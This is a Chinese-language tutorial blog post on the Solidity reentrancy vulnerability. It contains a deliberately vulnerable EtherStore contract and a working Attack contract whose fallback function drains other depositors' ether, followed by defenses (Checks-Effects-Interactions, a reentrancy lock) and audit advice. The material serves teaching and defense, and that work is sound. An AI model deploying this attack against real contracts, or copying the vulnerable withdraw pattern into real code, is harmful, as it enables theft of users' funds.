---
date: 2022-06-17
layout: post
title: 重入漏洞分析
description: 详解重入漏洞的原理和攻击方法
image: https://images.unsplash.com/photo-1549434999-7c0f57709189?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjcwOTV9
optimized_image: https://images.unsplash.com/photo-1549434999-7c0f57709189?ixlib=rb-1.2.1&q=80&fm=jpg&crop=entropy&cs=tinysrgb&w=1080&fit=max&ixid=eyJhcHBfaWQiOjcwOTV9
category: study
tags:
 - solidity
 - contract security
 - vulnerability analyse
author: aventusc
---

### 前置知识

以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时，以太坊的转账不仅仅局限于外部账户，合约账户同样可以拥有以太并进行转账等操作，且合约在接收以太的时候会触发 fallback 函数执行相应的逻辑，这是一种隐藏的外部调用。

**发送以太的方式：**

- `transfer` (2300 gas, 抛出错误)
- `send` (2300 gas, 返回布尔值)
- `call` (转发所有 gas 或设置 gas，返回布尔值)

*注：括号中是这个方法的执行操作，他们的第一个返回值都要么是布尔值要么是抛出错误。*

**接收以太的方式：**

接收 Ether 的合约**必须至少**具有以下函数之一

- `receive() external payable`
- `fallback() external payable`

*如果 `msg.data` 为空，则调用 `receive()` ，否则调用 `fallback()`。*

我们先给重入漏洞下个定义：可以认为合约中所有的外部调用都是不安全的，都有可能存在重入漏洞。例如：如果外部调用的目标是一个攻击者可以控制的**恶意合约A**，那么当**被攻击的合约B**在调用**恶意合约A**的时候攻击者可以执行**恶意的逻辑C**然后再重新进入到**被攻击合约B**的内部，通过这样的方式来发起一笔非预期的外部调用，从而影响**被攻击合约B**正常的执行逻辑。

### 漏洞示例

举个例子来对重入攻击的原理进行分析：

下面面的代码：`EtherStore` 就是个普通的充提币的合约，凭什么说他有重入攻击呢？我们来看这个合约的 `withdraw` 函数，这个函数中的转账操作有一个外部调用（msg.sender.call{value: bal}），所以我们就可以认为这个合约是可能有重入漏洞的，但是具体能否产生危害还需要更深入的分析：

1. 所有的外部调用都是不安全的且合约在接收以太的时候会触发 `fallback` 函数执行相应的逻辑，这是一种隐藏的外部调用，这种隐藏的外部调用是否会造成危害呢？
2. 我们可以看到在 `withdraw` 函数中是先执行外部调用进行转账后才将账户余额清零的，那我们可不可以在转账外部调用的时候构造一个恶意的逻辑合约在合约执行 `balance[msg.sender]=0` 之前一直循环调用 `withdraw` 函数一直提币从而将合约账户清空呢？

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

/*
我们看到 EtherStore 合约是一个充提合约，我们可以在其中充提以太。
该合约会受到重入攻击
让我们看看为什么。

1. 部署 EtherStore 合约；
2. 用户 1（Alice）和用户 2（Bob）都分别将 1 个以太币充值到 EtherStore 合约中；
3. 攻击者 Eve 部署 Attack 合约时传入 EtherStore 合约的地址；
4. 攻击者 Eve 调用 Attack.attack 函数，Attack.attack 又调用 EtherStore.deposit 函数，
    充值 1 个以太币到 EtherStore 合约中，此时 EtherStore 合约中共有 3 个以太，
    分别为 Alice、Bob 的 2 个以太和攻击者 Eve 刚刚充值进去的 1 个以太。
    然后 Attack.attack 又调用 EtherStore.withdraw 函数将自己刚刚充值的以太取出，
    此时 EtherStore 合约中就只剩下 Alice、Bob 的 2 个以太了；

接下来会发送什么？
当 Attack.attack 调用 EtherStore.withdraw 提取了先前 Eve 充值的 1 个以太时会触发 Attack.fallback 函数。
这时只要 EtherStore 合约中的以太大于或等于 1 Attack.fallback 就会一直调用 EtherStore.withdraw 函数将 EtherStore 合约中的以太提取到 Attack 合约中，直到 EtherStore 合约中的以太小于 1 。
这样攻击者 Eve 会得到 EtherStore 合约中剩下的 2 个以太币（Alice、Bob 充值的两枚以太币）。

下面是攻击者的函数调用流程：
- Attack.attack
- EtherStore.deposit
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack.fallback (receives 1 Ether)
- EtherStore.withdraw
- Attack fallback (receives 1 Ether)
*/

contract EtherStore {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}(""); //选择性处理多返回值，将
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance >= 1 ether) {
            etherStore.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        etherStore.deposit{value: 1 ether}();
        etherStore.withdraw();
    }

    // Helper function to check the balance of this contract
    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}
```

### 修复建议

1. 作为开发人员

看了上面的攻击手法相信大家对重入漏洞都会有一个自己的认知，但是只会攻击可不行，我们的目的是为了防御，那么作为开发人员如何避免写出漏洞代码还有作为审计人员如何快速发现问题代码呢，下面我们就以这两个身份来分析如何防御重入漏洞和如何在代码中快速找出重入漏洞：

- 写代码时需要遵循先判断，后写入变量在进行外部调用的编码规范（Checks-Effects-Interactions）；
- 加入防重入锁。

下面是一个防重入锁的代码示例：

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
```

1. 作为审计人员

作为审计人员我们需要关注的是重入漏洞的特征：所有涉及到外部合约调用的代码位置都是不安全的。这样在审计过程中需要重点关注外部调用，然后推演外部调用可能产生的危害，这样就能判断这个地方是否会因为重入点而产生危害。
